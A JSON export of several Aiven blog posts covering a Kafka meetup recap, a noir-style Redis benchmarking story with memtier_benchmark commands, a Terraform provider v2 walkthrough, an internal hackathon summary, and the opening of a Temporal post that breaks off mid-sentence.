{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7bNESu0lCpVQ636CMlQ2lV","_rev":"bUMlF7B1Xxw34pzcKd9WQA","_type":"post","_updatedAt":"2022-11-15T10:02:27Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"In August, Aiven created an [Apache Kafka meetup](https://www.meetup.com/de-DE/Helsinki-Apache-Kafka-Meetup/) in Helsinki to discuss hot topics surrounding Kafka.\n\nDue to its popularity, we decided to make it an ongoing event and held our second meetup yesterday.\n\nThis time, around 30 people attended [Lifeline Ventures](https://www.lifelineventures.com/)' office in downtown Helsinki and there were two presenters:\n\n1.  Niklas Nylund of [Paf](https://www.paf.com/), an operator of slots, lotteries, poker and casino games as well as betting both online and in casinos.\n\n2.  Heikki Nousiainen, our CTO\n\nFirst up was Nylund to discuss the ins and outs of how his team brought [Kafka](/kafka) in to act as a data bus for their real-time analytics needs.\n\n### Apache Kafka reduces the spaghetti  \n\nPaf collects Change Data Capture events from databases and sends the events to [Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka\"), which are then consumed and imported into Kudu for analytic work.\nAlthough Kafka possesses its quirks, Nylund is satisfied with how Paf has been able to use it to streamline their architecture.\n\nOr, as he vividly put it, \"Reducing the spaghetti.\"\n\n[Check out his presentation slides here](https://drive.google.com/a/aiven.io/file/d/0B2FsWGSy9br4M0VsR1BBenlNYzQ/view?usp=sharing) to get a thorough understanding of Paf's integration process from beginning to end.\n\n### Apache Kafka Connect simplifies integration\n\nSecond up was our CTO Heikki Nousiainen to discuss the Kafka Connect framework, and using it to transfer data between Apache Kafka and other systems, in this case [PostgreSQL](https://aiven.io/postgresql) and [Elasticsearch](https://aiven.io/opensearch).\n\nUsing Python code to interact with the services, Nousiainen was able to demonstrate how easy it was to push and pull data between Kafka and the external systems.\n\nWith a large number of available connectors from the Kafka community, integrating Kafka with other systems can be quite straightforward.\n\nThis in turn allows quick benefits and migration towards real-time stream analytics with Kafka-centric architecture.\n\n[Check out Nousiainen's presentation slides](https://drive.google.com/a/aiven.io/file/d/0B2FsWGSy9br4V1N0cF80Q0xnQU0/view?usp=sharing) to get a better idea of the use cases for Kafka Connect.\n\n### Join the next Kafka discussion  \n\nAs the transition from a monolithic to microservices architecture continues, the use case for integrating Kafka as a streaming platform will only strengthen.\n\nThis is evidenced by the increase in attendance of our events where many developers, be they users of Kafka or not, are gathering to learn more about what Kafka is, its use cases, and best practices for implementing it.\n\nWe are planning another [Aiven](https://aiven.io/) meetup for December/January, so join the [Helsinki Apache Kafka Meetup](https://www.meetup.com/de-DE/Helsinki-Apache-Kafka-Meetup/) group to get the details when we finalize the plans and we'll see you soon!\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2017-10-19T14:57:00.001Z","seo":{"metaDescription":"Aiven talks shop with Paf at second Apache Kafka® meetup","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven talks shop with Paf at second Apache Kafka® meetup"},"slug":{"_type":"slug","current":"/blog/aiven-talks-shop-with-paf-at-second"},"subtitle":"Aiven talks shop with Paf at second Apache Kafka® meetup","title":"Aiven talks shop with Paf at second Apache Kafka® meetup"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"Bn6QWyWT0ZxFmtWiDM23j","_rev":"jlE3yG3C5Lxk0cUOqcrSPW","_type":"post","_updatedAt":"2024-05-27T12:56:14Z","authors":[{"_key":"4bjROiZe7tEB4RqqZBX36k","_ref":"4bjROiZe7tEB4RqqZBX36k","_type":"reference"},{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"I was sitting in my office, sipping bourbon and cleaning my trusty keyboard, when the phone rang. It was a customer, a recent one, and they had a problem.\n\nThe customer’s read rates were fluctuating oddly. They were expecting a quick turnaround on the job since, they said, the culprit was obvious: it was [Redis®*](https://aiven.io/caching), unable to handle their loads. They were testing a premium plan with Aiven for Caching, and now I was getting an earful about how their expectations weren’t being met. They wanted a powerful database, they said, but were getting offered a third-rate flutterbox of an embarrassment.\n\nI shelved my witty comebacks for now. Instead, I grabbed my trench coat and fedora (the air conditioning in my office is always an issue), plugged my keyboard in again, and connected to their cloud.\n\nAfter poking around for a few hours, I was mystified, much more so than the customer. Redis is a very steady player. It handles high loads easily, and the customer’s expansion to a premium plan (with six servers, consisting of 1 primary and 5 replicas each) should have been more than enough. Then if worse came to worst, I should be able to see a sharp drop-off point when the database buckled under an increasing load.\n\nInstead, the graph drew a mountain range, with reads going up and coming down and then going up again. I’d never seen Redis do that.\n\nI called the customer back and laid into them. I wanted to know what they knew. What were they doing to poor Redis? The customer wasn’t happy with my grilling, but I did find out that they were using a custom testing suite. Well I’ll be darned, I thought. \n\nI returned to my poking, and sure enough, now that I knew where to stick my nose, I got the scent. The customer tests were not going as planned and I needed to right this ship.\n\nRather than using a customer-specific testing harness, I turned to the industry standard [memtier_benchmark](https://github.com/RedisLabs/memtier_benchmark) for an unbiased opinion. I tested three Aiven plans: Business (primary + replica), Premium (primary + 2 replicas) and Custom (primary + 5 replicas). I needed to make sure that the WRITE rate to the primary node was consistent and that the READ rates across the replicas were increasingly faster across the plans as replicas increased.\n\nThings started out quiet. The WRITE rate was consistent across the three services plans when attempting to write 10M entries, with a payload size of 2500 bytes.  As the service plans increase in replica count, the expected write rate should decrease as additional IOPS serve to replicate data.\nHere’s a script that writes data to Redis and benchmarks it:\n```\nsudo docker run --rm redislabs/memtier_benchmark -s \u003cHOST\u003e \\\n    -p \u003cPORT\u003e -a \u003cPASSWORD\u003e --hide-histogram --key-maximum=10000000 \\\n    -n allkeys -d 2500 --key-pattern=P:P --ratio=1:0\n```\n\n![redis-1](//cdn.sanity.io/images/sczeoy4w/production/38d1d785825de55fea789fa8a2cef8bf0772b735-729x438.png \"Cluster write test\")\n\nWith the WRITE operations done, I turned to benchmarking the READ rates. I did it consistently, of course, with READS done against the PRIMARY nodes, to ensure nothing fishy was going on between the three Aiven service plans.  As expected, the READS fell in a narrow band across all plan types.\n```\nsudo docker run --rm redislabs/memtier_benchmark \\\n  -s \u003cPRIMARY / REPLICA HOST\u003e -p \u003cPORT\u003e -a \u003cPASSWORD\u003e \\\n  --hide-histogram \\ -t 30 -c 10 --pipeline=1 --ratio=0:1 \\ \n  --test-time=180\n```\n![redis-2](//cdn.sanity.io/images/sczeoy4w/production/1c9d8815f9e338ec85c1c06f944492be90ee5fc1-727x418.png \"Cluster READ primary test\")\n\nLastly I came to test the READ rate directly against the replica nodes. \n\n![redis-3](//cdn.sanity.io/images/sczeoy4w/production/f19e5c92824f3fe99eeab9bdd980db305ed924d1-721x412.png \"Cluster duration test, Business and 3-node Premium\")\n\nSo far so good. The Business plan (blue line) read performance is matching that of the primary node as expected. The Premium plan with 2 replicas (red line) was almost double the throughput (not exactly double, but that was to be expected), so looking good!\n\nThen things took a sideways turn as the line for the custom 6 node plan (green line) took a trip to the south. My jaw fell. What was going on?  How was I getting only marginally better performance with lots more nodes in the game?\n\n![redis-4](//cdn.sanity.io/images/sczeoy4w/production/e6fab982bc1674af0c1df7dd85188bc4befecaae-716x434.png \"Cluster duration test, Business, 3-node Premium and 6-node Premium\")\n\nJust as I was ready to throw in the towel, I remembered where this quest started. The clue was in the benchmark test itself. Just as the customer was showing abysmal metrics with their homegrown solution, mine was also struggling but for a different reason; NOT ENOUGH LOAD! \n\nOf course! I couldn’t expect the same test, with the same connections, to automatically generate more operations per second if the test itself was bottlenecked. Just because I had a bigger bucket I couldn’t expect the same garden hose to fill it at the same rate, I had to increase the amount of water to fill the bucket! Duh!\n\nWith this eureka in hand I fired up a second 'memtier_benchmark' on a separate VM and started filling the pail - with two hoses.\n\n![redis-5](//cdn.sanity.io/images/sczeoy4w/production/939eca822a6ac0501332d7aa6593199ed7150bae-725x435.png \"Cluster duration test, Business, 3-node Premium and 6-node Premium - second try\")\n\nThat was more like it!\n\nSo the tests were failing not because of Redis, but because of how the tests themselves were set up and executed. I sighed with contentment and drained my glass.\n\nI was now faced with a problem of my own: how to let the customer know they were causing their own problems? I opened a second bottle of bourbon to help me think. \n\nThe next morning, I had a hangover but no better answers, so I just dialled the customer and plainly described what I’d found. Yep, they sure weren’t happy, but I got the message across. What’s more, they were so happy with my work, as well as Redis, after the testing issues were fixed, that they finalised their upgrade to the premium plan with no qualms. \n\nOnce again, I’d proved that Redis is a solid, dependable solution that simply works when you plug it in, and that Aiven gives better support than any other cloud company in the business. Make of that what you will.\n\n## Wrapping up\nHere's a PSA: Trust your gut, walk the walk, and you may find your answer in an unexpected place. And lay off the bourbon if you want a clear head the next morning...\n\nAnd if you had no idea what this article was about, check this out: [An introduction to Redis](https://aiven.io/blog/an-introduction-to-redis \"An introduction to Redis on the Aiven blog\").\n\n--\n\nIf you're not using Aiven services yet, sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\"). Otherwise, you might just face... issues.\n\nIn any case you'd better keep an eye on us. Follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts so nothing can sneak up on you.\n\n* Redis is a trademark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven Oy.","categories":[{"_key":"3SF1hzDKGSWII7ZpbyTg8M","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-998de53afc141e1187e7ad4074ea65fc753f801a-1567x844-png","_type":"reference"}},"publishedAt":"2021-07-13T00:00:00.000Z","seo":{"metaDescription":"Some days are easy. Some days, your throughput falls and you blame poor Redis®*. Find out how a customer learned to love Aiven's new premium plan for Redis.","metaImage":{"alt":"","asset":{"_ref":"image-998de53afc141e1187e7ad4074ea65fc753f801a-1567x844-png","_type":"reference"}},"metaTitle":"Redis® and the secret of fluctuating reads"},"slug":{"_type":"slug","current":"/blog/redis-and-the-secret-of-fluctuating-reads"},"subtitle":"Some days are easy. Some days, your throughput falls and you blame poor Redis®*. Find out how Aiven can solve the case.\n","title":"Redis® and the secret of fluctuating reads"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1ZCBWdCrFYwEsTn4P6XFQT","_rev":"V5UdSzFEWrLT7ZlMFOAcPL","_type":"post","_updatedAt":"2023-08-03T10:36:43Z","authors":[{"_key":"2gMdAEZfTJwRIbSW8fDJ0i","_ref":"2gMdAEZfTJwRIbSW8fDJ0i","_type":"reference"}],"body":"You may remember that [we released the first version of the Aiven Terraform Provider](https://aiven.io/blog/reduce-your-aiven-infrastructure-complexity-with-terraform) way back in 2018. We’re actually on the cusp of its two year anniversary mark, so I thought I’d pop by and reminisce about what it is and show you what you can do with it, as well as what’s new.\n\nBefore we get reacquainted with Terraform, let’s go ahead and get the updates out of the way.\n\n## Aiven’s Terraform provider — two years later.\n- Automatic installation process through the Terraform registry (no more downloading a release from Github!)\n- New `resources` have been added, such as **accounts**, **Kafka schemas** and **VPC peering**\n- Documentation has been added to the repository with examples for various services\n- Support for managing MySQL databases\n- Termination protection for Aiven services\n\nThis is just a snippet but you can see the whole list of updates all the way from 2018 to now at its [Github repository](https://github.com/aiven/terraform-provider-aiven/blob/master/CHANGELOG.md  \"Aiven Terraform Provider Changelog\"). But enough about what’s new, let’s remind ourselves of what Terraform truly is and what it means to those who use it.\n\n## What is Terraform, really?\nTerraform is part of a trendy little movement, known as `Infrastructure as Code`. This means that you can write out the architecture of your systems in a structured language, known as `Hashicorp Configuration Language`.\n\nThey say a code snippet is worth a 1000 words so how about a code snippet within an image?\n\n![Getting Started with Terraform](//cdn.sanity.io/images/sczeoy4w/production/657263f61b1afd7ecad62529f289fba6ff1272aa-443x400.png)\n\nSetting up [Terraform](https://www.terraform.io/ \"Terraform\") can be done through their Cloud offering or through the [CLI](https://learn.hashicorp.com/tutorials/terraform/install-cli)\n\nBecause Kubernetes gets to be called `k8s` and Terraform is a word I do not want to type in my terminal 40 times a day, I found it useful to set this up:\n\n![Bash Alias for Terraform](//cdn.sanity.io/images/sczeoy4w/production/cb67cd229480e7acf31788e3f26d4f1e8b56b8bb-299x220.png)\n\n### So, what does it do?\nTerraform is a tool that has been created to remove all of the bash scripts and webhooks and listeners you wrote to deploy your software. Providers exist for a number of different companies online that you use (yes, Aiven is there, but so is AWS, GCP and many more). \n\nIf you have trusted different components of your architecture to different experts throughout the Interwebs; then Terraform is the glue that holds them all together. “Does that mean I have to write everything again?” I hear you cry. No! Terraform allows you to `import` existing resources that you have deployed and treat them as if they were made right there in your script.\n\nYou might be thinking, “So, it’s Ansible for hipsters.” Maybe. Maybe not. Technology is moving fast and it shows no sign of slowing up. Public cloud provider usage increases year over year and anything that simplifies the interaction with these tools is a win. \n\nTerraforms USP is that it stores the state of all the pieces that make up your infrastructure and compares that state with the changes that you want to make. If any of those changes will result in the destruction of something you did not intend, then you will be told before making the change and saving yourself thousands of alerts.\n\nEqually, running the same plan again will tell you what has changed and the effect of reverting it back to the state you requested if a change is made outside of Terraform. It’s not just simplifying and automating deployments, it’s allowing you to maintain the equivalent of a `git log` for your infrastructure.\n\n### The Terraform registry\nWhen you use a Terraform provider, Terraform will look for the provider in their [registry](https://registry.terraform.io). If it can’t find the provider, you have to set it up manually by following these [instructions](https://www.terraform.io/cli/config/config-file#provider-installation). The process is a bit tedious as those of you who used the Aiven Provider before its listing know all too well, i.e. downloading binary releases to your development machine and configuring your CI pipeline to do the same. \n\nNow, it’s as simple as providing the name and version and Terraform will handle the rest.\n\n## Enough talking, show me the goods!\nI will be the first to admit that I’m no wordsmith and the places my eyes jump to in a technical post are screenshots and code blocks. With that in mind, I’ll spare you the ordeal of scrolling past my thoughts on `vim` compared to IDEs and I will get stuck in with an example.\n\nIn this (rather simple) example, I’ll use my Aiven account to deploy a Kafka cluster (with Kafka Connect enabled), an OpenSearch cluster and corresponding Sink Connector that will push every message in a topic of my choosing into OpenSearch. And I’ll do it in..._less than 80 lines_. More importantly, I’ll do it in a way that you can just run the code in this post with ease.\n\n### 1. Set up your directory\nWe’ll have the following setup so make that directory anywhere you like:\n\n```\naiven_kafka_es/\n\tmain.tf\n\tvariables.tf\n```\n### 2. Write the main file\nThe structure of an HCL file is in blocks and the following blocks are needed:\n\n![Getting Started with Terraform](//cdn.sanity.io/images/sczeoy4w/production/657263f61b1afd7ecad62529f289fba6ff1272aa-443x400.png)\n\nThen we can get started with our `resources` (or we can use `data` for existing resources but we will get to that). If you’ve been living under an abandoned Hermit Crab shell and haven’t yet heard of Aiven, we provide managed open-source software for data pipelines. Deploying *Services* requires a *Project* and you can create everything within Terraform or through the [Web Console](https://console.aiven.io). For the fun of it, let's do it all from here. \n\nFirst, we will need an API Token. Log in (or sign up and get **$300** of free credits) and navigate to your user profile (the User icon in the top right) to create a new `Authentication Token`. Copy the code and let's put it into `variables.tf`. While we’re there, let's add a name for the Kafka cluster we want to make:\n\n![variables.tf](//cdn.sanity.io/images/sczeoy4w/production/a39318a455ef6abcef1b4ddcb4151e5becaea2fb-417x346.png)\n\nDone! Let's create a project and deploy a Kafka cluster somewhere around the world. Append this to your `main.tf` and we’re good to go.\n\n![Terraform - main.tf](//cdn.sanity.io/images/sczeoy4w/production/6fdc3036d3287c969f26153ea5c6d9bfe807224a-1952x3180.png)\n\nSo, we’ve created a project and deployed a Kafka cluster inside GCP to the Europe region. The configuration object we put here also allows us to provide settings to override defaults (like the `version` we want or `integrations` we want to enable). Don’t worry about the numbers if this is all new to you, this is mainly to show that (almost) all of the features we have in our [API](https://api.aiven.io/doc/) are available in our Terraform provider. \n\n_Do you realise what that means!?!_ In a single script, you can deploy a whole suite of clusters AND configure Access Control Limitations AND more advanced configurations for each service (like enabling `pgBouncer` for Postgres or updating a `schema` inside our Kafka Schema Registry, [Karapace](https://karapace.io/)).\n\n### 3. Run it\nSo, let's make it happen! We just write `terraform plan` (`terraform init` first for those of you who haven’t done so) and you’ll see an output showing you what’s going to change or happen. The printout is quite long but you should see a snippet that looks like this: \n\n![Terraform Plan](//cdn.sanity.io/images/sczeoy4w/production/92d39aa4d15564c6eaff1211c42cc904df76cb33-803x702.png)\n\nIf you don’t, you’ll see errors with the line number, file and reason for failure. I’m certain all went well so now we want to tell Terraform to do the deploying already!\n\n![Confirming the Terraform Apply Command](//cdn.sanity.io/images/sczeoy4w/production/18ef77de7e07eb2c2047cb33c9a0859208c343b1-440x93.png)\n\nRunning `terraform apply` will show you the same result as `plan` (hopefully) and then ask for you to approve it. If you agree, type `yes` and hit enter. Do some squats as your requests go through the Interwebs and we work our magic or, if you’re very impatient, head over to the [Web Console](https://console.aiven.io) and watch your new services spawn.\n\n### 4. What about OpenSearch and Kafka Connect?\nWow, you have a Kafka cluster running but what the heck are you going to do with it? How about filling it with the works of Shakespeare and then indexing it with OpenSearch? Sure, it’s one option. But you’ll need OpenSearch and some form of connection from Kafka to this OpenSearch, some kind of...Kafka Connector?\n\n![Terraform Main - Adding Elasticsearch and Kafka Connectors](//cdn.sanity.io/images/sczeoy4w/production/426057b35131165e096230280a19b754cb5723b2-864x850.png)\n\nAdding this to our `main.tf` will create an OpenSearch instance in AWS and use the Kafka Connect we enabled with our Kafka Cluster to configure a `sink connector` (a piece of software that takes data FROM Kafka and dumps it TO somewhere, depending on your configuration).\n\nThe `config` block for the connector might look complex, but don’t worry, you can create this in our Web Console by clicking on your Kafka Service, going to the `Connectors` Tab and choosing the `OpenSearch Sink Connector`. You can complete the form to generate a configuration and just copy the JSON to that block (swapping the `:` for ` = `).\n\n![Kafka Connect Configuration in the Aiven Web Console](//cdn.sanity.io/images/sczeoy4w/production/1f4795cd5554a6e958b5ff8fdb19603c9e2dde86-1443x414.png)\n\n### 5. Run it, part deaux!\nSame as above, you will notice you have a file called `terraform.tfstate` in your directory and Terraform already knows that you created a Project and a Kafka cluster. Running `terraform apply` again should show you that 2 `resources` are to be added. \n\nType `yes` and you are good to go. Some more squats and now you have 2 services connected in your Aiven Project. What are you still doing here? Go and publish some things to that cluster and check it out in OpenSearch!\n\n### N.B. existing users\nYou CAN do a straight upgrade to switch to the Terraform Registry provider by deleting `terraform.d` in your directory and updating the `terraform` block. BUT, you will also need to run\n\n` terraform state replace-provider registry.terraform.io/-/aiven registry.terraform.io/aiven/aiven`\n\nIf you are using Terraform for mission critical services, it goes without saying that **great care must be used** to avoid incorrectly classifying a service or some other such fun.\n\n### Bringing it all together\nWhat the heck have we just done?\n\n1. Instantiated an Aiven provider inside Terraform and added our API token\n\n2. Created a `resource` for our Project and given it a name\n\n3. Created 2 service `resources` for Kafka and OpenSearch where we provided the following:\n   - `service_name`\n   - `project`\n   - `cloud_name`\n   - `plan`\n   - `servicetype`\n4. Created a Kafka Connector `resource` for an OpenSearch Sink Connector and provided the `config` for that connector to link the creatively named topic `stuff_topic` to our OpenSearch so that it consumes any message that gets produced to that topic.\n\n## Further reading\nTake a look at our two-part post showing more things you can do with Terraform:\n1. [Aiven databases and Terraform for fun and profit](https://aiven.io/blog/aiven-databases-and-terraform-for-fun-and-profit \"Aiven databases and Terraform for fun and profit\")\n2. [Observe your PostgreSQL metrics with Terraform, InfluxDB and Grafana](https://aiven.io/blog/observe-your-postgresql-metrics-with-terraform-influxdb-and-grafana \"Observe your PostgreSQL metrics with Terraform, InfluxDB and Grafana\")\n\n## Wrapping up\nIn two years, we’ve managed to get our [Aiven Terraform provider listed in the Terraform registry](https://registry.terraform.io/providers/aiven/aiven/latest \"aiven provider terraform registry listing\") and added loads of new functionality. What does this mean? Setting it up is now a breeze and you can do even more through it than you could when we released the first version.\n\nTwo years has flown by, so I also thought it’d be nice to show those of you who might’ve missed the `Infrastructure as Code` movement what Terraform is and demonstrate just how powerful it is with some of the slick tricks you can do with it when managing your Aiven services.\n\nThat’s all I’ve got for now; let’s agree to meet back here in another two — who knows what’ll be in store by then. In the meantime, follow our [changelog](https://aiven.io/changelog/feed.xml) RSS feed, or on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2qto4I26D9dTmL2jF7YDqZ","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6cd123a765bb3a299258683ccf8097728e88d492-1567x844-png","_type":"reference"}},"publishedAt":"2020-10-01T00:00:00.000Z","seo":{"metaDescription":"We’re marking our Terraform two year anniversary with v2 of our provider and making it official with a registry listing. Read more about what all of this means.","metaImage":{"alt":"","asset":{"_ref":"image-6cd123a765bb3a299258683ccf8097728e88d492-1567x844-png","_type":"reference"}},"metaTitle":"Aiven Terraform provider joins the Terraform registry with v2"},"slug":{"_type":"slug","current":"/blog/aiven-terraform-provider-v2-release"},"subtitle":"We’re marking our Terraform two year anniversary with v2 of our provider and making it official with a registry listing. Read more about what all of this means.","title":"Aiven Terraform provider joins the Terraform registry with v2"}
{"__i18n_lang":"en","_createdAt":"2022-09-07T06:39:00Z","_id":"5bjgOfogZfHZzRsm2kds3w","_rev":"CK1sLU2mnwa3vmbYWEeWfL","_type":"post","_updatedAt":"2022-09-08T16:31:50Z","authors":[{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"## A summary of an internal hackathon at Aiven\n\nFor one day in April, while we had almost everyone together at our company off-site event, Aiveneers in technical functions joined an internal hackathon. With around 50% of the participants having been at the company less than 6 months, the focus was on making new connections first, contributing to open source (a close) second.\n\n### Breaking the ice with LEGO®\n\nWe started the day with a LEGO® challenge, designed as an analogy for developing and maintaining software via the use of LEGO® brick building exercises. \n\nTeams of 4-5 people were required to build a cafe or a house with specific requirements in 15 minutes. At the end of 15 minutes, a number of show of hands style questions were asked around organization, planning and execution. Teams were then asked to relocate to the next table to take over an existing build and continue it with a modified set of requirements. \n\n![LEGO exercise](//cdn.sanity.io/images/sczeoy4w/production/d51de4b377b061912b770aaef093347a7c0f1fa1-2000x1333.jpg)\n\nTeams did not know beforehand that they would be swapping, causing much chaos and head scratching, but ultimately being a great analogy for inheriting another teams existing codebase. \n\nSome patterns emerged:\n- Not all teams figured out that they could collaborate with their sister team, ask them questions, or trade LEGO® pieces.\n- While some teams planned and strategized, others just straight got to building. The results weren’t better one way or another, but team members from organized groups did feel better about the process and end result. \n- Some groups and individuals sorted LEGO® bricks by color, size and/or function, making friends in their sister team when they took over the project. \n- Some people get really competitive over LEGO®!\n\n![LEGO exercise room overview](//cdn.sanity.io/images/sczeoy4w/production/0e96d7f42dfe54238015a75cc02dd58c587aed3a-2000x1333.jpg)\n\nFor a more elaborate summary of the icebreaker exercise, as well as how to run it yourself, head over to [Elmar’s blog](https://dev.to/jastill/breaking-the-ice-with-lego-a-lesson-in-good-engineering-practices-1305). \n\n### Contributions galore \n\nIn preparation for the day, we identified project “champions” - individuals at Aiven who maintain open source projects, or are core contributors to a project. We also had groups working on more “high-level” topics, like creating a database of disposable email providers, discussing security practices, and updating documentation with appropriate trademark notices. That means we had tasks for non-coders as well. \n\nEach champion created a project description, and recorded a short video answering the following questions:\n- What is the project about, what does it solve / why is it important?\n- What contributions are you looking for / what are you hoping to get out of DevDay?\n- How can participants best prepare (pre-reading, setting up dev environment, downloading dependencies, …)\n\nChampions did some preparation work, triaging and labeling issues, and generally readying their projects for contributors. Our assumption is that the participating open source projects gained a lot of insight (new eyes looking at your project), and one or two longer-term contributors who wouldn’t have had the chance to discover the project in their day-to-day work.\n\nChampions and (even some remote) participants collaborated in their project’s Slack channels during the event.\n\n### What we built\n\nA rough estimate is 57 net new PRs merged, 30 existing PRs reviewed and merged, numerous issues created, considered, and closed, many new friendships made. \n\n![Group working on projects at the hackathon](//cdn.sanity.io/images/sczeoy4w/production/e948e67cb31a7c117cb15cc781b351a737021d68-2000x1333.jpg)\n\nHere's a selection of the public projects that participated:\n\n* [Guardian for Apache Kafka](https://github.com/aiven/guardian-for-apache-kafka), with Matthew de Detrich (Senior Software Engineer - OSPO). Guardian is a disaster recovery tool for Apache Kafka, designed solely for backing up actively running Kafka clusters onto persistent storage's (currently AWS S3).\n\n* Several Kafka connectors, with Josep Prat (Open Source Engineering Manager), like [HTTP sink](https://github.com/aiven/http-connector-for-apache-kafka), [Common module](https://github.com/aiven/commons-for-apache-kafka-connect), [OpenSearch](https://github.com/aiven/opensearch-connector-for-apache-kafka), [transformations](https://github.com/aiven/transforms-for-apache-kafka-connect), [JDBC sink and source](https://github.com/aiven/jdbc-connector-for-apache-kafka), and [GCS sink](https://github.com/aiven/aiven-kafka-connect-gcs). \n\n* [Karapace](https://github.com/aiven/karapace), with Augusto Hack (Senior Software Engineer), an open-source implementation of Kafka REST and Schema Registry.\n\n![Group working on projects at the hackathon](//cdn.sanity.io/images/sczeoy4w/production/a681e5da946d265101b72ef176080d4e3ff84575-2000x1333.jpg)\n\n* The Metadata Parser, with Francesco Tisiot (Developer Advocate). The metadata parser helps connect the dots of complex data projects. Parses the services metadata, and stores the information as a graph, composed by nodes and edges, showing how data is connected. [The project](https://github.com/aiven/metadata-parser) was released just after the event.\n\n* [Prometheus exporter plugin for OpenSearch](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch), which exposes many OpenSearch metrics in Prometheus format, with Lukáš Vlček (Staff Software Engineer - OSPO).\n\n* [Rohmu](https://github.com/aiven/rohmu), with Kevin Michel (Staff Software Engineer) \u0026 Ronan Dunklau (Senior Software Engineer). Rohmu is a Python library for building backup tools for databases. Rohmu is used in various backup tools such as [PGHoard](https://github.com/aiven/pghoard) for PostgreSQL, [MyHoard](https://github.com/aiven/myhoard) for MySQL and Astacus for M3 and ClickHouse and other databases. The team [released v1.0 and 1.0.1](https://github.com/aiven/rohmu/tags) at the event. And the project now has an [adorable logo](https://github.com/aiven/rohmu/).\n\n* Fedora (packaging), with Paul Wouters (Senior Software Engineer Security).\n\nBetween all of these plus quite a few internal projects, there were tasks for everyone, coders or not, and teams were built that crossed the usual orgchart lines.\n\nMany happy faces, high fives, 10/10 would do again!\n\n-----\n\nPhotographs were taken by [Uri Meron](https://urimeron.mypixieset.com/about/), our official photographer for the off-site event.\n\nLEGO® is a trademark of the LEGO Group of companies which does not sponsor, authorize or endorse this site\n\n[![Uptime by Aiven | Register now!](//cdn.sanity.io/images/sczeoy4w/production/9bda7957fec76f252e852c09954ee393803b63e9-1538x165.png)](https://uptime.aiven.io/)\n","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-1b918114a683c20eace09955fc60d5a2d3600ba2-1567x844-png","_type":"reference"}},"publishedAt":"2022-07-21T00:00:00.000Z","seo":{"metaDescription":"Lego \"games\" as an ice-breaker, followed by small team collaborative work. It was fun and productive - read on to find out more, with pictures!","metaImage":{"alt":"","asset":{"_ref":"image-1b918114a683c20eace09955fc60d5a2d3600ba2-1567x844-png","_type":"reference"}},"metaTitle":"Aiven DevDay:  crowd source meets open source"},"slug":{"_type":"slug","current":"/blog/aiven-dev-day-2022"},"subtitle":"Lego \"games\" as an ice-breaker, followed by small team collaborative work. It was fun and productive - read on to find out more, with pictures!","title":"Aiven DevDay:  crowd source meets open source"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"elKD08pwuCM06zDeHBBEL","_rev":"KtWw3EPsvVF1DpRqAK5LCT","_type":"post","_updatedAt":"2023-06-22T13:33:17Z","authors":[{"_key":"4bjROiZe7tEB4RqqZBX36k","_ref":"4bjROiZe7tEB4RqqZBX36k","_type":"reference"},{"_key":"6T10aEUQnciMUdnmWvrkkO","_ref":"6T10aEUQnciMUdnmWvrkkO","_type":"reference"}],"body":"So you’ve chosen [Temporal](https://temporal.io/ \"Temporal.io\")’s microservice orchestration platform for managing your workflows as code, but how do you properly bulletproof the persistence of your data?  \n\nAiven has you covered! \n\nAiven specializes in managing data infrastructure like Postgres, MySQL, Apache Cassandra, OpenSearch, and M3 giving you time to focus on the business workflows within Temporal. Of course, there is no lack of options for managed database infrastructure, so we understand that you may have just thought “Why Aiven?” \n## Aiven manages data infrastructure\nAiven offers fully-managed cloud services (Postgres, Apache Cassandra, Apache Kafka, and others) that maintain the integrity of the open source code, meaning it is the exact same code that you could test on a local machine or self-manage. On the Aiven platform, customers have a myriad of options to create an Aiven service across several clouds and regions. \n\nAiven delivers services with a consistent industry-leading uptime SLA of 99.99%, observing closer to 5 9’s uptime over the last 36 months. A key differentiator for Aiven is the fact that when new versions and maintenance updates are available, they’re applied with no downtime, and this is applicable for upgrades or downgrades of a service as well. \n\nFor Aiven, these are the things that should be table stakes for a fully-managed service, and yet they’re not present with other offerings in the market.\n\nOK, enough about Aiven. We do the boring stuff and we do it well. \n## Temporal orchestrates microservices \nTemporal’s (very nice!) open source microservice orchestration platform is used to build modern workflow applications. It has already been adopted by the likes of Stripe, Netflix, Coinbase, and more. \n\nTo run Temporal, you first set up a Temporal Server to execute *Workflows*, which 